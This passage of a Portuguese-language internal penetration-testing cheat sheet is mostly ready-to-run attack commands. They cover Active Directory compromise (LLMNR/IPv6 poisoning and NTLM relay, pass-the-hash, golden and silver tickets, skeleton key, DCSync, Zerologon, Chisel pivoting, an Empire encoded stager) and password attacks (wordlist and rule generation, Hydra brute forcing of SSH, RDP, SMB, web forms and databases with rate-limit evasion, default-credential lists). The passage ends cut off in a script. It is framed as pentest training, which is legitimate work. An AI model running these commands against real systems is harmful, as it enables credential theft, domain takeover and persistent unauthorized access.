hashcat -m 18200 asrep_hashes.txt rockyou.txt

Man-in-the-Middle

LLMNR/NBT-NS Poisoning
# Responder
responder -I eth0 -A

# Inveigh (PowerShell)
Invoke-Inveigh -ConsoleOutput Y -LLMNR Y -NBNS Y

# Capture and relay
responder -I eth0 -A
ntlmrelayx.py -tf targets.txt -smb2support
IPv6 Attacks
# mitm6 - IPv6 DNS takeover
mitm6 -d domain.corp

# Combine with ntlmrelayx
ntlmrelayx.py -6 -t ldaps://dc.domain.corp -wh fakewpad.domain.corp -l lootme

Fase 3: Movimento Lateral

Pass-the-Hash

# CrackMapExec with hash
crackmapexec smb REDE_ALVO/24 -u administrator -H 'aad3b435b51404ee:5509de4fa6e25e13c69f90c24e5d2453' --local-auth

# PSExec with hash
psexec.py administrator@SERVIDOR_IP -hashes aad3b435b51404ee:5509de4fa6e25e13c69f90c24e5d2453

# WMI execution
wmiexec.py administrator@SERVIDOR_IP -hashes aad3b435b51404ee:5509de4fa6e25e13c69f90c24e5d2453

# SMB execution
smbexec.py administrator@SERVIDOR_IP -hashes aad3b435b51404ee:5509de4fa6e25e13c69f90c24e5d2453

Pass-the-Ticket

# Export ticket from memory
mimikatz "sekurlsa::tickets /export"

# Use ticket
export KRB5CCNAME=/tmp/ticket.ccache
psexec.py domain.corp/user@target.domain.corp -k -no-pass

# Golden ticket attack
python3 ticketer.py -nthash KRBTGT_HASH -domain-sid DOMAIN_SID -domain domain.corp administrator

Pivoting

# SSH tunneling
ssh -L 8080:internal-server:80 user@compromised-host

# Metasploit pivoting
use post/multi/manage/autoroute
set SESSION 1
set SUBNET REDE_INTERNA.0/24
run

# Chisel tunneling
# On attacker machine
./chisel server -p 8000 -reverse

# On compromised machine  
./chisel client IP_ATACANTE:8000 R:1080:socks

Fase 4: Escalação de Privilégios

Domain Controller Compromise

# DCSync attack
secretsdump.py domain.corp/user:password@SERVIDOR_IP

# Zerologon (CVE-2020-1472)
zerologon.py DC_NAME SERVIDOR_IP

# PrintNightmare
use exploit/windows/dcerpc/cve_2021_1675_printnightmare

# DCShadow (advanced)
mimikatz "lsadump::dcshadow /object:CN=krbtgt,CN=Users,DC=domain,DC=corp"

Persistence

# Golden ticket
mimikatz "kerberos::golden /user:administrator /domain:domain.corp /sid:S-1-5-... /krbtgt:HASH /ptt"

# Silver ticket
mimikatz "kerberos::golden /user:administrator /domain:domain.corp /sid:S-1-5-... /target:server.domain.corp /service:cifs /rc4:HASH /ptt"

# Skeleton key
mimikatz "privilege::debug" "misc::skeleton"

# DSRM backdoor
mimikatz "token::elevate" "lsadump::sam"

Ferramentas Específicas para Pentest Interno

BloodHound

# Coletor SharpHound
SharpHound.exe -c All

# Coletor Python
bloodhound-python -d domain.corp -u user -p password -gc dc.domain.corp -c all

# Análise
# Import .zip files into BloodHound GUI
# Query: "Find Shortest Path to Domain Admins"

CrackMapExec

# SMB enumeration
crackmapexec smb REDE_ALVO/24

# Password spray
crackmapexec smb REDE_ALVO/24 -u users.txt -p passwords.txt

# Execute commands
crackmapexec smb SERVIDOR_IP -u user -p pass -x "whoami"

# Dump SAM
crackmapexec smb SERVIDOR_IP -u user -p pass --sam

Impacket Tools

# PSExec
psexec.py domain/user:pass@SERVIDOR_IP

# WMI Exec
wmiexec.py domain/user:pass@SERVIDOR_IP

# Secrets dump
secretsdump.py domain/user:pass@SERVIDOR_IP

# GetUserSPNs
GetUserSPNs.py domain/user:pass -dc-ip SERVIDOR_IP

PowerShell Empire

# Empire stager
powershell -noP -sta -w 1 -enc BASE64_ENCODED_STAGER

# Useful modules
usemodule situational_awareness/network/powerview/get_domain_admin
usemodule lateral_movement/invoke_psexec
usemodule credentials/mimikatz/logonpasswords
Detecção e Evasão

Em pentests internos, é importante considerar as soluções de segurança presentes: antivírus, EDR, SIEM, monitoramento de rede. Use técnicas de evasão apropriadas e documente quais controles foram eficazes na detecção das atividades.

Força Bruta em Pentest

Ataques de força bruta são técnicas sistemáticas para descobrir credenciais válidas testando múltiplas combinações de usuários e senhas. Essencial quando outros vetores falham ou para validar políticas de senha fracas.

Introdução ao Brute Force

1

Reconnaissance

Coletar informações sobre o alvo

2

Username Enum

Enumerar usuários válidos

3

Wordlist Prep

Preparar listas personalizadas

4

Attack

Executar ataques controlados

Cuidado com Account Lockout

Sempre verifique políticas de bloqueio de conta antes de iniciar ataques de força bruta. Use password spraying (uma senha para muitos usuários) ao invés de ataques concentrados para evitar lockouts.

Wordlists Essenciais

Wordlists Pré-construídas

RockYou.txt

# Localização no Kali
/usr/share/wordlists/rockyou.txt

# Descompactar
gunzip /usr/share/wordlists/rockyou.txt.gz

# Estatísticas
wc -l /usr/share/wordlists/rockyou.txt
# 14,344,392 senhas

# Top 1000 senhas
head -1000 /usr/share/wordlists/rockyou.txt > top1000.txt

SecLists

# Instalar SecLists
git clone https://github.com/danielmiessler/SecLists.git

# Senhas comuns
SecLists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt
SecLists/Passwords/Common-Credentials/best1050.txt
SecLists/Passwords/Common-Credentials/top-passwords-shortlist.txt

# Usuários comuns
SecLists/Usernames/top-usernames-shortlist.txt
SecLists/Usernames/xato-net-10-million-usernames.txt

Wordlists Específicas

# Senhas padrão de equipamentos
SecLists/Passwords/Default-Credentials/

# Senhas brasileiras
SecLists/Passwords/Common-Credentials/brazilian-passwords.txt

# Senhas por teclado
SecLists/Passwords/Common-Credentials/keyboard-patterns.txt

# WiFi passwords
SecLists/Passwords/WiFi-WPA/

CrackStation

# Download wordlists grandes
wget https://crackstation.net/files/crackstation.txt.gz

# Human passwords only (menor)
wget https://crackstation.net/files/crackstation-human-only.txt.gz

# Descompactar
gunzip crackstation.txt.gz

# Verificar tamanho
wc -l crackstation.txt

Wordlists Personalizadas

Informações da Empresa

# Baseado em informações coletadas
echo "empresa2023" >> custom.txt
echo "Empresa123!" >> custom.txt
echo "empresa@2023" >> custom.txt
echo "nomeempresa" >> custom.txt

# Variações sazonais
echo "empresa_verao2023" >> custom.txt
echo "empresa_inverno2023" >> custom.txt
echo "natal2023" >> custom.txt

# Padrões corporativos comuns
echo "Password123!" >> custom.txt
echo "Welcome123" >> custom.txt
echo "Spring2023!" >> custom.txt
echo "Changeme123" >> custom.txt

Senhas por Localização

# Brasil
echo "brasil123" >> brasil.txt
echo "Brasil2023" >> brasil.txt
echo "saopaulo" >> brasil.txt
echo "riodejaneiro" >> brasil.txt
echo "brasilia" >> brasil.txt

# Times de futebol
echo "flamengo" >> brasil.txt
echo "corinthians" >> brasil.txt
echo "palmeiras" >> brasil.txt
echo "santos" >> brasil.txt

# Expressões brasileiras
echo "valeu123" >> brasil.txt
echo "brigadao" >> brasil.txt

Padrões de Senhas Corporativas

# Padrões observados em empresas
# Formato: Palavra + Número + Símbolo
Password1!
Password123!
Welcome1!
Spring2023!
Summer2023!
Winter2023!

# Formato: Empresa + Ano
CompanyName2023
NomeEmpresa2023
[COMPANY]2023

# Teclado patterns
qwerty123
123456789
password
admin
administrator

Gerando Wordlists

Crunch - Gerador de Wordlists

Uso Básico
# Gerar senhas de 4 a 6 caracteres (só letras minúsculas)
crunch 4 6

# Gerar senhas de 8 caracteres com charset personalizado
crunch 8 8 0123456789abcdef

# Salvar em arquivo
crunch 6 8 > wordlist.txt

# Usar charset predefinido
crunch 8 8 -t @@@@@@@@ > passwords.txt
# @ = letra minúscula
# , = letra maiúscula  
# % = número
# ^ = símbolo
Padrões Avançados
# Senha começando com "Pass" + 4 números
crunch 8 8 -t Pass%%%%

# Empresa + 4 dígitos
crunch 12 12 -t empresa%%%%

# Primeiro nome + ano (4 dígitos)
crunch 8 12 -t @@@@%%%%

# Padrão brasileiro: nome + 123
crunch 7 10 -t @@@123

# Limitar output (importante!)
crunch 6 6 | head -1000 > test.txt

CeWL - Custom Word List Generator

Extrair Palavras de Sites
# Extrair palavras do site da empresa
cewl https://empresa.com.br.br -d 2 -m 5 -w empresa_words.txt

# Parâmetros importantes:
# -d 2    : profundidade de 2 níveis
# -m 5    : mínimo 5 caracteres por palavra
# -w file : salvar em arquivo

# Incluir emails encontrados
cewl https://empresa.com.br.br -e -email_file emails.txt

# Incluir números
cewl https://empresa.com.br.br --with-numbers

# Spider mode (seguir links)
cewl https://empresa.com.br.br -d 3 --spider
Processar Resultados
# Remover duplicatas e ordenar
sort -u empresa_words.txt > empresa_clean.txt

# Converter para minúsculas
tr '[:upper:]' '[:lower:]' < empresa_words.txt > empresa_lower.txt

# Filtrar por tamanho (6-12 caracteres)
awk 'length($0) >= 6 && length($0) <= 12' empresa_words.txt > empresa_filtered.txt

# Combinar com anos
for word in $(cat empresa_clean.txt); do
    echo "${word}2023" >> empresa_final.txt
    echo "${word}123" >> empresa_final.txt
done

CUPP - Common User Passwords Profiler

Instalação e Uso
# Instalar CUPP
git clone https://github.com/Mebus/cupp.git
cd cupp

# Modo interativo
python3 cupp.py -i

# O script perguntará:
# - Nome da vítima
# - Sobrenome
# - Apelido
# - Data de nascimento
# - Nome do parceiro/esposa
# - Filhos
# - Animal de estimação
# - Empresa
# - Palavras relacionadas
Exemplo de Execução
# Exemplo de informações:
# Nome: João
# Sobrenome: Silva  
# Apelido: Joao
# Nascimento: 15/03/1985
# Esposa: Maria
# Filho: Pedro
# Pet: Rex
# Empresa: TechCorp

# CUPP gerará combinações como:
joao1985
joaosilva
joao1503
maria123
pedro2023
rexjoao
techcorp
joaotechcorp
silva1985

Mentalist - GUI Wordlist Generator

Instalação
# Instalar no Kali
apt-get install mentalist

# Ou baixar do GitHub
git clone https://github.com/sc0tfree/mentalist.git

# Executar
python3 mentalist.py
Recursos do Mentalist
  • Interface Gráfica: Criação visual de regras
  • Base Words: Palavras-base para mutações
  • Case Mutation: Alterações de maiúscula/minúscula
  • Common Password: Padrões comuns
  • Append/Prepend: Adicionar caracteres
  • Substitution: Substituições (a→@, e→3)

Fontes de Wordlists

Repositórios Online

  • SecLists: https://github.com/danielmiessler/SecLists
  • FuzzDB: https://github.com/fuzzdb-project/fuzzdb
  • PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings
  • WordlistHub: https://github.com/orgs/wordlisthub

Bases de Dados Vazadas

  • Have I Been Pwned: Verificar vazamentos
  • DeHashed: Base de dados comercial
  • Collections: #1, #2-5 (uso ético)
  • Breach Compilation: Grandes coleções

Wordlists Especializadas

  • Kaonashi: Wordlist japonesa
  • Probable-Wordlists: Análise estatística
  • Weakpass: https://weakpass.com/
  • CrackStation: Wordlists otimizadas

Dicionários por País

  • Brasil: Nomes brasileiros, times, cidades
  • Portugal: Nomes portugueses
  • Espanha: Palavras em espanhol
  • English: Dicionários ingleses completos

Mutação e Transformação de Wordlists

Hashcat Rules

Rules Básicas

# Aplicar regras com hashcat
hashcat --stdout wordlist.txt -r best64.rule > mutated.txt

# Rules incluídas no hashcat
/usr/share/hashcat/rules/best64.rule
/usr/share/hashcat/rules/leetspeak.rule
/usr/share/hashcat/rules/toggles1.rule

# Aplicar múltiplas rules
hashcat --stdout wordlist.txt -r best64.rule -r leetspeak.rule > mutated.txt

# Aplicar rules diretamente no ataque
hashcat -m 1000 hashes.txt wordlist.txt -r best64.rule

Criar Rules Personalizadas

# Arquivo: custom.rule
# Adicionar números ao final
$1 $2 $3
$2 $0 $2 $3
$1 $9 $9 $5

# Capitalizar primeira letra
c

# Adicionar símbolos comuns
$! $@ $#

# Substituições leetspeak
sa@ se3 si1 so0

# Combinar regras
c $1 $2 $3

# Exemplo de uso
echo "password" | hashcat --stdout -r custom.rule
# Resultado: Password123

Rules Avançadas

# OneRuleToRuleThemAll
wget https://github.com/NotSoSecure/password_cracking_rules/raw/master/OneRuleToRuleThemAll.rule

# NSA Techniques
wget https://github.com/NSAKEY/nsa-rules/raw/master/_NSAKEY.v2.dive.rule

# Aplicar em wordlist
hashcat --stdout rockyou.txt -r OneRuleToRuleThemAll.rule > rockyou_mutated.txt

# Estatísticas das rules
hashcat --stdout small_list.txt -r rule_file.rule | wc -l

John the Ripper Rules

Configuração de Rules

# Arquivo de configuração
/etc/john/john.conf

# Ver rules disponíveis
john --list=rules

# Usar rule específica
john --wordlist=wordlist.txt --rules=KoreLogic hashes.txt

# Usar rule personalizada
john --wordlist=wordlist.txt --rules=Custom hashes.txt

# Gerar wordlist com rules
john --wordlist=wordlist.txt --rules --stdout > mutated.txt

Criar Rules John

# Adicionar ao john.conf
[List.Rules:Custom]
# Capitalizar e adicionar números
c $1 $2 $3
c $2 $0 $1 $9
c $! $@

# Duplicar palavra
d
# password -> passwordpassword

# Reverter
r
# password -> drowssap

# Todas em maiúsculas + números
u $1 $2 $3
u $2 $0 $2 $1

Mutações Personalizadas

Scripts Python para Mutação

#!/usr/bin/env python3
# wordlist_mutator.py

import sys

def mutate_wordlist(wordlist_file):
    mutations = []
    
    with open(wordlist_file, 'r', encoding='utf-8', errors='ignore') as f:
        for line in f:
            word = line.strip()
            if len(word) < 3:
                continue
                
            # Mutações básicas
            mutations.append(word)
            mutations.append(word.capitalize())
            mutations.append(word.upper())
            mutations.append(word.lower())
            
            # Adicionar números
            for num in ['123', '1', '01', '2023', '2024']:
                mutations.append(word + num)
                mutations.append(word.capitalize() + num)
            
            # Adicionar símbolos
            for symbol in ['!', '@', '#', '$']:
                mutations.append(word + symbol)
                mutations.append(word + '123' + symbol)
            
            # Leetspeak básico
            leet = word.replace('a', '@').replace('e', '3').replace('i', '1').replace('o', '0')
            mutations.append(leet)
            mutations.append(leet.capitalize())
    
    return list(set(mutations))  # Remove duplicatas

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python3 wordlist_mutator.py wordlist.txt")
        sys.exit(1)
    
    mutations = mutate_wordlist(sys.argv[1])
    for mutation in sorted(mutations):
        print(mutation)

Mutações com Bash

#!/bin/bash
# mutate.sh - Mutações simples com bash

INPUT_FILE="$1"
OUTPUT_FILE="mutated_$(basename $INPUT_FILE)"

# Limpar arquivo de saída
> "$OUTPUT_FILE"

while IFS= read -r word; do
    # Palavra original
    echo "$word" >> "$OUTPUT_FILE"
    
    # Primeira letra maiúscula
    echo "${word^}" >> "$OUTPUT_FILE"
    
    # Tudo maiúsculo
    echo "${word^^}" >> "$OUTPUT_FILE"
    
    # Adicionar números comuns
    for num in 123 1 01 2023; do
        echo "$word$num" >> "$OUTPUT_FILE"
        echo "${word^}$num" >> "$OUTPUT_FILE"
    done
    
    # Adicionar símbolos
    for symbol in "!" "@" "#"; do
        echo "$word$symbol" >> "$OUTPUT_FILE"
    done
    
done < "$INPUT_FILE"

# Remover duplicatas e ordenar
sort -u "$OUTPUT_FILE" -o "$OUTPUT_FILE"
echo "Mutações salvas em: $OUTPUT_FILE"

Keyspace e Otimização

Cálculo de Keyspace

Entender o espaço de chaves é crucial para planejar ataques eficientes e estimar tempo necessário. Um keyspace muito grande pode ser inviável para brute force direto.

Cálculo de Keyspace

Fórmulas Básicas

# Keyspace = Charset^Length
# Charset: quantidade de caracteres possíveis
# Length: tamanho da senha

# Exemplos:
# Só números (0-9): 10 caracteres
# Keyspace 4 dígitos: 10^4 = 10.000

# Letras minúsculas (a-z): 26 caracteres
# Keyspace 6 letras: 26^6 = 308.915.776

# Alfanumérico (a-z, A-Z, 0-9): 62 caracteres
# Keyspace 8 chars: 62^8 = 218.340.105.584.896

Calculadora Python

#!/usr/bin/env python3
# keyspace_calc.py

def calculate_keyspace(charset_size, min_length, max_length):
    total = 0
    for length in range(min_length, max_length + 1):
        keyspace = charset_size ** length
        total += keyspace
        print(f"Length {length}: {keyspace:,} combinations")
    
    print(f"Total keyspace: {total:,}")
    return total

# Exemplos de uso
print("=== Números apenas (0-9) ===")
calculate_keyspace(10, 4, 6)

print("\n=== Letras minúsculas (a-z) ===")
calculate_keyspace(26, 6, 8)

print("\n=== Alfanumérico (a-z, A-Z, 0-9) ===")
calculate_keyspace(62, 8, 10)

Tempo Estimado

#!/usr/bin/env python3
# time_estimate.py

def estimate_time(keyspace, attempts_per_second):
    # Assumindo que a senha está na metade do keyspace (média)
    avg_attempts = keyspace / 2
    
    seconds = avg_attempts / attempts_per_second
    minutes = seconds / 60
    hours = minutes / 60
    days = hours / 24
    years = days / 365
    
    print(f"Keyspace: {keyspace:,}")
    print(f"Tentativas/seg: {attempts_per_second:,}")
    print(f"Tempo médio:")
    print(f"  Segundos: {seconds:,.0f}")
    print(f"  Minutos: {minutes:,.0f}")
    print(f"  Horas: {hours:,.0f}")
    print(f"  Dias: {days:,.1f}")
    print(f"  Anos: {years:,.2f}")

# Exemplo: 8 chars alfanuméricos, 1 milhão tent/seg
estimate_time(62**8, 1000000)

Hashcat Keyspace

# Calcular keyspace de uma wordlist
hashcat --keyspace wordlist.txt

# Keyspace com rules aplicadas
hashcat --keyspace wordlist.txt -r best64.rule

# Keyspace de mask attack
hashcat --keyspace -a 3 ?l?l?l?l?d?d?d?d

# Keyspace de combinator attack
hashcat --keyspace -a 1 left.txt right.txt

# Benchmark para estimar velocidade
hashcat -b -m 1000

Otimização de Keyspace

Estratégias de Redução

# 1. Password Spraying vs Brute Force
# Em vez de testar todas as senhas para um usuário:
# user1: password1, password2, password3...

# Teste uma senha para muitos usuários:
# password1: user1, user2, user3...

# 2. Políticas de Senha Conhecidas
# Se política exige: 8+ chars, 1 maiúscula, 1 número
# Foque em wordlists que seguem essa regra

# 3. Padrões Observados
# Empresas brasileiras costumam usar:
# - Nome da empresa + ano
# - Welcome + ano
# - Password + número

Filtrar Wordlists

# Filtrar por tamanho (8+ caracteres)
awk 'length($0) >= 8' wordlist.txt > filtered.txt

# Senhas que seguem política (maiúscula + número)
grep -E '^(?=.*[A-Z])(?=.*[0-9]).{8,}$' wordlist.txt > policy_compliant.txt

# Remover senhas muito simples
grep -v -E '^[0-9]{4,8}$' wordlist.txt > no_simple_numbers.txt

# Top senhas por frequência
sort wordlist.txt | uniq -c | sort -nr | head -10000 | awk '{print $2}' > top10k.txt

Análise Estatística

#!/usr/bin/env python3
# wordlist_stats.py

import re
from collections import Counter

def analyze_wordlist(filename):
    passwords = []
    with open(filename, 'r', encoding='utf-8', errors='ignore') as f:
        passwords = [line.strip() for line in f]
    
    print(f"Total senhas: {len(passwords)}")
    print(f"Senhas únicas: {len(set(passwords))}")
    
    # Análise de tamanho
    lengths = [len(p) for p in passwords]
    print(f"Tamanho médio: {sum(lengths)/len(lengths):.1f}")
    print(f"Tamanho mais comum: {Counter(lengths).most_common(1)[0]}")
    
    # Padrões comuns
    with_numbers = sum(1 for p in passwords if re.search(r'\d', p))
    with_uppercase = sum(1 for p in passwords if re.search(r'[A-Z]', p))
    with_symbols = sum(1 for p in passwords if re.search(r'[!@#$%^&*]', p))
    
    print(f"Com números: {with_numbers} ({with_numbers/len(passwords)*100:.1f}%)")
    print(f"Com maiúsculas: {with_uppercase} ({with_uppercase/len(passwords)*100:.1f}%)")
    print(f"Com símbolos: {with_symbols} ({with_symbols/len(passwords)*100:.1f}%)")

# analyze_wordlist('rockyou.txt')

Ferramentas de Análise

PACK (Password Analysis and Cracking Kit)

# Instalar PACK
git clone https://github.com/iphelix/pack.git
cd pack

# Analisar wordlist
python2 statsgen.py wordlist.txt

# Gerar máscaras baseadas na análise
python2 maskgen.py wordlist.txt

# Criar regras personalizadas
python2 rulegen.py wordlist.txt

Pipal - Password Analyser

# Instalar Pipal
git clone https://github.com/digininja/pipal.git
cd pipal

# Analisar wordlist
ruby pipal.rb wordlist.txt

# Gerar relatório HTML
ruby pipal.rb wordlist.txt -o report.html

# Análise específica
ruby pipal.rb wordlist.txt -t 100

Hashcat Utils

# Instalar hashcat-utils
git clone https://github.com/hashcat/hashcat-utils.git
cd hashcat-utils/src && make

# Combinar wordlists
./combinator.bin left.txt right.txt > combined.txt

# Aplicar regras manualmente
./rli.bin wordlist.txt best64.rule > mutated.txt

# Remover duplicatas eficientemente
./expander.bin < wordlist.txt | sort -u > unique.txt

Wordlist Tools

# wc - contar linhas
wc -l wordlist.txt

# sort - ordenar e remover duplicatas
sort -u wordlist.txt > unique.txt

# shuf - randomizar ordem
shuf wordlist.txt > randomized.txt

# head/tail - pegar partes
head -10000 wordlist.txt > top10k.txt
tail -1000 wordlist.txt > bottom1k.txt

# split - dividir arquivo grande
split -l 1000000 huge_wordlist.txt part_

Hydra - The Fast Network Logon Cracker

Hydra Overview

Hydra é uma das ferramentas mais populares para ataques de força bruta em serviços de rede. Suporta mais de 50 protocolos e é extremamente rápida com paralelização de threads.

Uso Básico do Hydra

Sintaxe e Parâmetros

# Sintaxe básica
hydra [OPTIONS] TARGET SERVICE

# Parâmetros principais:
# -l user    : usuário específico
# -L file    : lista de usuários
# -p pass    : senha específica
# -P file    : lista de senhas
# -s port    : porta específica
# -t threads : número de threads (padrão: 16)
# -v/-V      : verbose mode
# -f         : parar após primeiro sucesso
# -M file    : lista de targets

# Exemplo básico
hydra -l admin -P passwords.txt SERVIDOR_IP ssh

Tipos de Ataque

# Ataque com usuário conhecido
hydra -l admin -P rockyou.txt SERVIDOR_IP ssh

# Ataque com senha conhecida (Password Spraying)
hydra -L users.txt -p Password123! SERVIDOR_IP ssh

# Ataque completo (usuários + senhas)
hydra -L users.txt -P passwords.txt SERVIDOR_IP ssh

# Credenciais específicas
hydra -C credentials.txt SERVIDOR_IP ssh
# Formato do arquivo: user:pass (uma por linha)

# Múltiplos targets
hydra -L users.txt -P passwords.txt -M targets.txt ssh

Controle de Performance

# Aumentar threads (cuidado com DoS)
hydra -t 32 -l admin -P passwords.txt SERVIDOR_IP ssh

# Adicionar delay entre tentativas
hydra -w 2 -l admin -P passwords.txt SERVIDOR_IP ssh

# Timeout personalizado
hydra -W 30 -l admin -P passwords.txt SERVIDOR_IP ssh

# Parar após primeira credencial válida
hydra -f -L users.txt -P passwords.txt SERVIDOR_IP ssh

# Continuar em caso de erro de conexão
hydra -c 3 -l admin -P passwords.txt SERVIDOR_IP ssh

Protocolos Suportados

SSH (Secure Shell)

# SSH básico
hydra -L users.txt -P passwords.txt SERVIDOR_IP ssh

# SSH em porta específica
hydra -s 2222 -L users.txt -P passwords.txt SERVIDOR_IP ssh

# SSH com timeout maior
hydra -W 60 -L users.txt -P passwords.txt SERVIDOR_IP ssh

# Múltiplos hosts SSH
hydra -L users.txt -P passwords.txt -M ssh_hosts.txt ssh

FTP (File Transfer Protocol)

# FTP básico
hydra -L users.txt -P passwords.txt SERVIDOR_IP ftp

# FTP anônimo (testar se permite)
hydra -l anonymous -p anonymous SERVIDOR_IP ftp

# FTP com SSL
hydra -L users.txt -P passwords.txt SERVIDOR_IP ftps

# FTP em porta customizada
hydra -s 2121 -L users.txt -P passwords.txt SERVIDOR_IP ftp

HTTP/HTTPS

# HTTP Form-based
hydra -L users.txt -P passwords.txt SERVIDOR_IP http-post-form "/login.php:username=^USER^&password=^PASS^:F=Invalid"

# HTTP Basic Auth
hydra -L users.txt -P passwords.txt SERVIDOR_IP http-get

# HTTPS
hydra -L users.txt -P passwords.txt SERVIDOR_IP https-post-form "/login:user=^USER^&pass=^PASS^:S=dashboard"

# HTTP com headers customizados
hydra -L users.txt -P passwords.txt SERVIDOR_IP http-post-form "/api/login:username=^USER^&password=^PASS^:F=error:H=Content-Type: application/json"

RDP (Remote Desktop)

# RDP básico
hydra -L users.txt -P passwords.txt SERVIDOR_IP rdp

# RDP com domínio
hydra -L users.txt -P passwords.txt rdp://SERVIDOR_IP/domain

# RDP em porta customizada
hydra -s 3390 -L users.txt -P passwords.txt SERVIDOR_IP rdp

# RDP com timeout alto (RDP pode ser lento)
hydra -W 120 -L users.txt -P passwords.txt SERVIDOR_IP rdp

SMB (Server Message Block)

# SMB básico
hydra -L users.txt -P passwords.txt SERVIDOR_IP smb

# SMB com domínio específico
hydra -L users.txt -P passwords.txt smb://SERVIDOR_IP/domain

# Null sessions (usuário vazio)
hydra -l "" -P passwords.txt SERVIDOR_IP smb

# SMB local account
hydra -L users.txt -P passwords.txt SERVIDOR_IP smb

Database Services

# MySQL
hydra -L users.txt -P passwords.txt SERVIDOR_IP mysql

# PostgreSQL
hydra -L users.txt -P passwords.txt SERVIDOR_IP postgres

# MSSQL
hydra -L users.txt -P passwords.txt SERVIDOR_IP mssql

# Oracle
hydra -L users.txt -P passwords.txt SERVIDOR_IP oracle-listener

Email Services

# POP3
hydra -L users.txt -P passwords.txt SERVIDOR_IP pop3

# IMAP
hydra -L users.txt -P passwords.txt SERVIDOR_IP imap

# SMTP Auth
hydra -L users.txt -P passwords.txt SERVIDOR_IP smtp

# POP3S/IMAPS (SSL)
hydra -L users.txt -P passwords.txt SERVIDOR_IP pop3s
hydra -L users.txt -P passwords.txt SERVIDOR_IP imaps

Outros Protocolos

# Telnet
hydra -L users.txt -P passwords.txt SERVIDOR_IP telnet

# VNC
hydra -P passwords.txt SERVIDOR_IP vnc

# SNMP
hydra -P communities.txt SERVIDOR_IP snmp

# LDAP
hydra -L users.txt -P passwords.txt SERVIDOR_IP ldap3

# Ver todos os protocolos suportados
hydra -h | grep "Supported services"

Técnicas Avançadas

HTTP Form Attack Avançado

# Capturar requisição com Burp Suite primeiro
# POST /login HTTP/1.1
# Content-Type: application/x-www-form-urlencoded
# username=admin&password=test&csrf_token=abc123

# Hydra com CSRF token
hydra -L users.txt -P passwords.txt SERVIDOR_IP http-post-form "/login:username=^USER^&password=^PASS^&csrf_token=abc123:F=Invalid login"

# Com cookie de sessão
hydra -L users.txt -P passwords.txt SERVIDOR_IP http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid:H=Cookie: PHPSESSID=abc123"

# JSON payload
hydra -L users.txt -P passwords.txt SERVIDOR_IP http-post-form "/api/login:{\"username\":\"^USER^\",\"password\":\"^PASS^\"}:F=error:H=Content-Type: application/json"

# Múltiplas condições de falha
hydra -L users.txt -P passwords.txt SERVIDOR_IP http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid:F=Incorrect:F=Failed"

Bypass de Proteções

# Usar User-Agent customizado
hydra -L users.txt -P passwords.txt SERVIDOR_IP http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid:H=User-Agent: Mozilla/5.0 (compatible; SecurityTest)"

# Adicionar delay para evitar rate limiting
hydra -w 5 -L users.txt -P passwords.txt SERVIDOR_IP ssh

# Usar proxy
hydra -L users.txt -P passwords.txt SERVIDOR_IP ssh -o proxy=socks4://127.0.0.1:1080

# Randomizar ordem de tentativas
shuf users.txt > users_random.txt
hydra -L users_random.txt -P passwords.txt SERVIDOR_IP ssh

# Distribuir entre múltiplas IPs de origem
hydra -L users.txt -P passwords.txt -M targets.txt ssh

Ataques Distribuídos

# Dividir wordlist entre múltiplas máquinas
split -l 50000 passwords.txt pass_part_

# Máquina 1
hydra -L users.txt -P pass_part_aa SERVIDOR_IP ssh

# Máquina 2  
hydra -L users.txt -P pass_part_ab SERVIDOR_IP ssh

# Usar ferramentas complementares
# CrackMapExec para password spraying em múltiplos hosts
crackmapexec smb REDE_ALVO/24 -u users.txt -p passwords.txt

# Patator para casos mais complexos
patator ssh_login host=SERVIDOR_IP user=FILE0 password=FILE1 0=users.txt 1=passwords.txt

Otimização e Performance

Configuração de Threads

# Protocolos rápidos (HTTP, FTP)
hydra -t 64 -L users.txt -P passwords.txt SERVIDOR_IP http-post-form "..."

# Protocolos médios (SSH, Telnet)
hydra -t 32 -L users.txt -P passwords.txt SERVIDOR_IP ssh

# Protocolos lentos (RDP, VNC)
hydra -t 8 -L users.txt -P passwords.txt SERVIDOR_IP rdp

# Teste para encontrar número ideal
for threads in 8 16 32 64; do
    echo "Testing $threads threads..."
    time hydra -t $threads -l test -p test SERVIDOR_IP ssh
done

Gestão de Resources

# Monitorar uso de CPU/RAM
htop

# Limitar uso de CPU (nice)
nice -n 10 hydra -L users.txt -P passwords.txt SERVIDOR_IP ssh

# Executar em background com nohup
nohup hydra -L users.txt -P passwords.txt SERVIDOR_IP ssh > hydra.log 2>&1 &

# Salvar progresso (importante para listas grandes)
hydra -L users.txt -P passwords.txt SERVIDOR_IP ssh -o results.txt

# Retomar de onde parou (com ferramentas complementares)
hydra -L users.txt -P remaining_passwords.txt SERVIDOR_IP ssh

Estratégias de Wordlist

# 1. Começar com passwords mais prováveis
head -10000 rockyou.txt > top10k.txt
hydra -L users.txt -P top10k.txt SERVIDOR_IP ssh

# 2. Password spraying primeiro
hydra -L users.txt -p Password123! SERVIDOR_IP ssh
hydra -L users.txt -p Welcome123 SERVIDOR_IP ssh

# 3. Senhas específicas do ambiente
echo "empresa2023" > custom.txt
echo "Welcome2023" >> custom.txt
hydra -L users.txt -P custom.txt SERVIDOR_IP ssh

# 4. Usar estatísticas para priorizar
# Analisar vazamentos da empresa/setor
# Focar em padrões observados

Low-Hanging Fruits

Alvos Fáceis em Brute Force

Low-hanging fruits são alvos com alta probabilidade de sucesso em ataques de força bruta. Focar nestes pontos primeiro maximiza eficiência e resultados em pentests.

Credenciais Padrão

Dispositivos de Rede

# Router/Switch comuns
admin:admin
admin:password
admin:1234
admin:
root:root
cisco:cisco
admin:cisco

# Cameras IP
admin:12345
admin:admin
root:12345
admin:password

# Impressoras
admin:
admin:admin
root:
hp:hp

Aplicações Web

# Painéis administrativos
admin:admin
admin:password
administrator:password
admin:123456
admin:admin123

# Bancos de dados
root:
root:root
root:password
sa:
postgres:postgres
mysql:mysql

Sistemas Operacionais

# Windows
administrator:password
administrator:admin
administrator:123456
guest:
admin:admin

# Linux
root:root
root:password
root:toor
admin:admin
ubuntu:ubuntu

Serviços Específicos

# VMware
root:vmware
administrator:vmware

# Oracle
sys:password
system:manager
scott:tiger

# MongoDB
admin:
root:

# FTP
anonymous:anonymous
ftp:ftp
user:user

Script para Teste de Credenciais Padrão

#!/bin/bash
# default_creds_test.sh

TARGET="$1"
SERVICE="$2"

